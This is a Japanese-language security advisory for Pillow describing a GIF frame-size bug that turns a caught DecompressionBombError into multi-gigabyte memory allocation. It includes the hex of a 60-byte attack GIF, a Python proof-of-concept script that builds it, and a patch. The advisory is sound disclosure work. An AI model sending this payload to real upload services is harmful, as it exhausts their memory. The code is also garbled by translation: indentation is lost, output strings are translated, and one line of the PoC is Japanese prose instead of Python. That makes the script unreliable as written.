Pillow: GIFの読み込み処理において、DecompressionBombErrorが発生した後も、拒否されたサイズが保持され、DoS攻撃を許してしまう。

```
============================================================================
GIFの読み込み処理において、DecompressionBombErrorが発生した後も、拒否されたサイズが保持され、DoS攻撃を許してしまう。
場所: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

約60バイトのGIF画像でも、Pillowが数ギガバイトのメモリを消費する可能性がある。これは、アニメーションの次のフレームに移動する際に「画像が大きすぎる」というエラーが発生し、そのエラーをキャッチしたアプリケーションが、同じ画像オブジェクトを使い続ける場合に影響する。Pillowは、サイズが大きすぎるフレームを正しく拒否するが、拒否されたサイズを画像オブジェクトに保存し、その後の処理でメモリを割り当ててしまう。攻撃者が、そのようなサービスにGIF画像をアップロードできる場合、そのサービスのメモリを枯渇させることができる。プロセスは、数ギガバイトのメモリを割り当てた後にメモリ不足エラーで失敗するか、またはオペレーティングシステムによって強制終了される。メモリ破壊は発生しない。

この問題は、`GifImageFile._seek()`関数(`src/PIL/GifImagePlugin.py:292-294`)にある。フレームの範囲が画像のサイズを大きくする場合、コードは新しいサイズを`self._size`に割り当て、その後で`Image._decompression_bomb_check()`を呼び出す。`DecompressionBombError`が発生した場合、古いサイズが復元される処理はない。なぜなら、`seek()`関数は`EOFError`の場合のみロールバックするからである。エラーが捕捉された後、`im.size`は拒否されたサイズを報告するが、ピクセルバッファ`im.im`はまだ最初の1x1のフレームのままになっている。範囲は16ビットのオフセットと16ビットのサイズで構成されるため、拒否されたサイズは最大で131070×131070になる可能性がある。

添付の再現例では、拒否されるサイズは40000×40000です。`seek(1)`を再度実行した後、`load()`を実行すると、`load_prepare()`が呼び出され、そのサイズで`Image.core.fill()`が呼び出されて、単一のピクセルをデコードします。メモリ使用量は、3 GiBのメモリ空間制限によって次の割り当てが停止される前に、17 MiBから1700 MiBまで増加します。`Image.new("RGB", im.size, ...)`や`rotate(..., expand=True)`も、古いサイズに基づいてメモリを割り当てます。

デフォルトのパスには影響がありません。`Image.open()`に加えて、`load()`, `ImageSequence.Iterator`, および`n_frames`/`is_animated`は問題ありません。この順序は、c9f1b35e9810 ("GIFのデコンプレッション爆弾チェックを追加", 2022年6月30日、9.2.0で初めてリリース)で導入され、CVE-2022-45198に対するチェックが追加されました。同じ関数内の後続の2つのdispose-extentチェックは、サイズを使用する前に検証しており、添付のパッチはこのチェックを同じ順序で実行するようにします。

## 詳細

`GifImageFile._seek()`は、後続のフレームで画像のサイズを大きくすることを可能にし、新しいサイズに対してデコンプレッション爆弾チェックを、オブジェクトにサイズを保存した*後*にのみ実行します。

```python
# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
self._size = max(x1, self.size[0]), max(y1, self.size[1]) # 状態が変更される
Image._decompression_bomb_check(self._size) # ...その後検証される
```

`_decompression_bomb_check()`関数(`src/PIL/Image.py:3586行目)は、`2 * MAX_IMAGE_PIXELS`(デフォルトでは178,956,970ピクセル)を超える場合に`DecompressionBombError`例外を発生させますが、その時点で`self._size`はすでに拒否された値を保持しており、それをリセットする処理はありません。`seek()`関数(`GifImagePlugin.py:166-179行目)は`EOFError`が発生した場合にのみロールバックし、`_seek(0)`関数は常に`_size`を増加させます。したがって、アプリケーションが保持しているオブジェクトは、`im.size == (40000, 40000)`という値を報告しますが、`im.im`はフレーム0の1x1のバッファです。同じ関数内のさらに下の部分にある、2つの`dispose-extent`チェック(`GifImagePlugin.py:383行目と:407行目)を比較してください。これらのチェックは、対応する`Image.core.fill()`関数を呼び出す前に、`_decompression_bomb_check(dispose_size)`を呼び出します。また、`TiffImagePlugin.load_prepare()`関数(`src/PIL/TiffImagePlugin.py:1319-1321行目)は、割り当てを行う前に`_tile_size`をチェックします。

この60バイトのGIFファイル(16進数)は以下のようになります。

```
47494638396101000100800000000000ffffff GIF89a, 1x1の画面、2エントリのグローバルパレット
2c000000000100010000 02 024401 00 フレーム0: 1x1、位置(0,0)、LZWデータ
2c00000000409c409c00 フレーム1の記述子: 40000x40000、位置(0,0)
2c000000000100010000 02 024401 00 別の1x1のフレーム
3b トレーラー
```

`Image.open()`関数は成功します(`im.size == (1, 1)`)。`im.seek(1)`関数を呼び出すと、`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`という例外が発生し、その後、`im.size == (40000, 40000)`、`im.im.size == (1, 1)`、`im.tell() == 0`となります。

次に何が起こるかは、アプリケーションがオブジェクトをどのように扱うかによって異なりますが、いくつかの一般的な操作では、Cバッファではなく`im.size`からサイズを取得します。

- `im.seek(1)` を再試行します。 失敗した `_seek` の結果、`self.__offset == 0` となり、ファイルポインタは 9 バイトの記述子の直後にあるため、再試行によって、その後に続くデータ(上記のファイルでは、有効な 1x1 フレーム)が解析され、成功します。 `im.load()` はその後、`GifImageFile.load_prepare()` を実行します。
```python
# src/PIL/GifImagePlugin.py:452-456
elif self.mode in ("RGB", "RGBA"):
self._prev_im = self.im
if self._frame_palette:
self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)
```
これは、1x1 のタイルをデコードするために、40000x40000 の "P" 画像(1.6 GB)を割り当てて `memset` で初期化し、`load_end()` (`GifImagePlugin.py:485-491`) は別の画像を初期化して RGB に変換します(さらに 1.6 GB + 6.4 GB)。
- 90 の倍数でない角度で `im.rotate(angle, expand=True)` を実行する場合、または一般的な背景へのフラット化 `Image.new("RGB", im.size, bg)` を実行する場合も、`im.size` からメモリを割り当てます(20000x20000 のオブジェクトで測定した結果:`rotate(45, expand=True)` は完了し、776 MiB のメモリを使用します。`Image.new("RGB", im.size, "white")` は 1.5 GiB のメモリを使用します)。 `im.size` を実際のバッファに対するボックスとして渡す操作(`thumbnail`、`resize`、`save` など)は、`ValueError`/`SystemError` で失敗します。

範囲フィールドは 16 ビットのオフセットと 16 ビットのサイズで構成されるため、保存されるサイズは最大で 131070x131070 (17.2 Gpx; "P" モードでは 17 GB、"RGB"/"RGBA" モードでは 69 GB) になります。これは、エラーの閾値の 96 倍です。

`n_frames` / `is_animated` には影響しません。これらは `_seek(frame, update_image=False)` を呼び出し、これは `_size` の代入をスキップします(上記のファイルでは、`n_frames == 2`、`is_animated == True` と報告され、`im.size` は 1x1 のままです)。

## 影響

リモートユーザーが、(a) アニメーションのフレームを検索し、(b) `seek()` からの例外を捕捉するサービスに、GIFファイルをアップロードすると、問題が発生します。具体的には、`while True: im.seek(im.tell()+1)` というフレーム収集ループの周囲に広範囲な `except Exception` を配置したり、または `except DecompressionBombError: log and continue` という明示的な例外処理を記述したりした場合、同じ `Image` オブジェクトを使い続けると、60バイトのファイルから1.6GBから数十GBのメモリを割り当ててしまうことがあります。その結果、プロセスがギガバイト単位のメモリを確保した後で `MemoryError` が発生したり、アドレス空間の制限が設定されていない場合に、ワーカープロセスが OOM (Out Of Memory) キルされる可能性があります。`MAX_IMAGE_PIXELS` の制限は機能しますが、拒否されたサイズが保護対象のオブジェクトから完全に排除されるわけではありません。

これは、実際のアプリケーションの動作では起こりうる問題ですが、デフォルトの動作ではありません。`Image.open(); im.load()` は影響を受けず、`ImageSequence.Iterator` は `for` ループ内で発生したエラーを伝播させます (ループ本体内の `try` ブロックはエラーを捕捉しません)。したがって、重要度は低いと判断されます。これは、CVE-2022-45198 に関する GIF のサイズ爆発チェックに追加された機能と関連しています。このチェックは、`c9f1b35e9810` (「GIF のデコンプレッション爆弾チェックを追加」、2022年6月30日) で導入され、Pillow 9.2.0 で初めてリリースされました。それ以前は、チェックなしで同じようなサイズの増加が発生していました。問題となっているチェックは、タイミングが遅すぎるものです。

## 再現方法

`repro` は、インストールされている Pillow に対して実行される単一の Python スクリプトです。約 1.7GB の空き RAM が必要です。

1. **`setup_env()`** 関数は、`RLIMIT_AS` を使用してプロセスのアドレス空間を 3 GiB に制限します。これにより、過剰なメモリ割り当ては `MemoryError` になり、OOM キラーが起動するのを防ぎます。次に、上記の 60 バイトの GIF 画像を開きます。この GIF 画像は、`bomb_gif()` 関数によってメモリ内で生成されます。GIF 画像には、1×1 の画面と 1×1 のフレーム 0 が含まれており、`Image.open()` 関数は独自のチェックを通過します。次に、フレーム -1 の画像記述子があり、これは 40000×40000 (1.6 GB、エラー閾値の約 9 倍) を宣言します。その後に、実際の 1×1 のフレームが続きます。
2. **`poc()`** 関数は、`im.seek(1)` を呼び出し、アプリケーションが不正なフレームをスキップする場合と同様に、`DecompressionBombError` をキャッチします。
3. **最初のチェック:状態が矛盾している。** スクリプトは、実際のピクセルバッファ `im.im.size` の横に `im.size` を出力します。拒否されたフレームがオブジェクトを変更していなければ、両方とも `(1, 1)` になります。問題のあるコードでは、`im.size` は `(40000, 40000)` になります。
4. **2 番目のチェック:メモリ使用量。** スクリプトは、`im.seek(1)` を再試行します。これにより、後続の 1×1 フレームが解析され、`im.load()` が呼び出されます。スクリプトは、プロセスのピーク RSS を、処理前と処理後にそれぞれ出力します。`load_prepare()` 関数は、`Image.core.fill()` のサイズを `im.size` から決定します。したがって、単一のピクセルを読み込むと、3 GiB の制限に達する前に 1.6 GB のバッファが使用されます。

問題のある環境での予想される出力:

```
open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG
```

スクリプトは、両方のチェックが満たされた場合にのみ `BUG` を出力します。つまり、例外が発生した後も、制限を超えるサイズのデータがオブジェクトに残っており、1×1 のフレームを読み込む際にピーク RSS が 1000 MiB 以上増加した場合です。それ以外の場合は、`OK` を出力します。添付されたパッチを適用すると、`im.size=(1, 1)` が出力され、ピーク RSS は約 23 MiB に留まり、最後の行は `OK` になります。

## 提案される修正

添付のパッチは、`GifImageFile._seek()`関数内で、変更を行う前に検証を行います(`src/PIL/GifImagePlugin.py:292-294行目`)。拡大された範囲はローカル変数に格納され、`_decompression_bomb_check()`関数に渡され、その後、`self._size`に割り当てられます。これは、同じ関数の下にある2つの`dispose_size`チェックの順序と一致しています。したがって、無効なフレームの場合、オブジェクトはシーク前の状態のままになります。有効なファイルは以前と同じように動作し、例外は同じ場所で発生します。

```diff
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
```

`n_frames`と`is_animated`は、`update_image=False`で処理され、影響を受けません。
このパッチは、`Tests/test_decompression_bomb.py`にある`test_exception_gif_extents`関数を拡張し、`DecompressionBombError`が発生した後でも`im.size`が変更されていないことを検証します。このパッチは`seek()`関数自体を変更しません。オプションとして、`seek()`関数は`DecompressionBombError`を`EOFError`と同様に扱い、`last_frame`に再度シークを行うことができます。これにより、再試行された`seek()`が、拒否されたフレームの中間部分から解析を再開することを防ぐことができます。

## パッチの内容

GIF: 拡大されたフレームの範囲を`self._size`に格納する前に、decompression bombチェックを実行します。

これは、上記のコミットで`src/PIL/GifImagePlugin.py`に適用されます。

```diff
diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
with pytest.raises(Image.DecompressionBombError):
im.seek(1)

+ # 拒否されたフレームによって、画像のサイズが変更されるべきではない
+ assert im.size == (100, 100)
+
def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
# 例外を発生させるために、制限値を設定する(テストファイル用)
monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
```

## 再現手順

<details>
<summary>再現手順 — <code>repro</code>、2,474バイト(開くにはクリック)</summary>

このファイルの最終行が、問題が発生すると`BUG`、発生しない場合は`OK`と表示されます。クリーンな状態のそのコミットで再実行すると、`BUG`と表示されました。

```python
#!/usr/bin/env python3
# GifImageFile._seek() は、フレームの拡大されたサイズを self._size に格納し、
# *その後* でのみ、decompression-bomb チェックを実行します。 チェックがエラーを発生させますが、
# オブジェクトは、実際の 1x1 ピクセルバッファではなく、拒否された 40000x40000 サイズを保持し、
# 次の load() はそのサイズからメモリを割り当てます。 結果として、60 バイトの GIF ファイルで 1.6 GB 以上のメモリが消費されます。
import io
import resource
import struct

from PIL import Image

BOMB = 40000 # 40000x40000 = 1.6 Gpx、DecompressionBombError の閾値の約 9 倍
LIMIT = 2 * Image.MAX_IMAGE_PIXELS

def frame_1x1():
# (0,0) の位置にある画像記述子 (1x1)、その後に 1 ピクセルの LZW ストリーム
return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"

def bomb_gif():
return (
b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
+ frame_1x1() # フレーム 0: 1x1、open() を通過
+ b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # フレーム 1 は 40000x40000 を主張
+ frame_1x1() # 実際の 1x1 フレームが続く
+ b";"
)

def peak_rss_mib():
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024

def setup_env():
# アドレス空間を制限し、過大なメモリ割り当てが MemoryError で終了するようにする
# (OOM killer が起動しないようにするため)。
resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
data = bomb_gif()
im = Image.open(io.BytesIO(data))
print(f"open(): {len(data)} バイトの GIF、サイズ={im.size}")
return im

def poc(im):
# アプリケーションは、爆弾フレームをスキップして処理を続行します。
try:
im.seek(1)
except Image.DecompressionBombError as e:
print(f"seek(1) は意図通りにエラーを発生させました: {e}")
return True
return False

im = setup_env()
raised = poc(im)
```

```
# 期待される動作:エラーが発生した場合、画像データは変更されずに元の状態(サイズが1x1)のままになる。
print(f"エラー発生後: im.size={im.size}, ピクセルバッファ im.im.size={im.im.size}")
poisoned = エラーが発生し、im.size[0] * im.size[1] > LIMIT であり、im.im.size が (1, 1) である場合

# 影響:再度 seek を実行すると、本来の 1x1 のフレームにアクセスできるが、load() 関数は poisoned な im.size のサイズに基づいてバッファを割り当てる。
before = peak_rss_mib()
im.seek(1)
try:
im.load()
outcome = "完了"
except MemoryError:
outcome = "3 GiB の制限を超えるメモリエラー"
after = peak_rss_mib()
print(f"1x1 のフレームに対する seek(1) + load(): {outcome}; ピーク RSS メモリ使用量 {before} MiB -> {after} MiB")
ballooned = after - before > 1000

print("BUG" if poisoned and ballooned else "OK")
```

---

影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョン >= 9.2.0, < 13.0.0、修正されたバージョン 13.0.0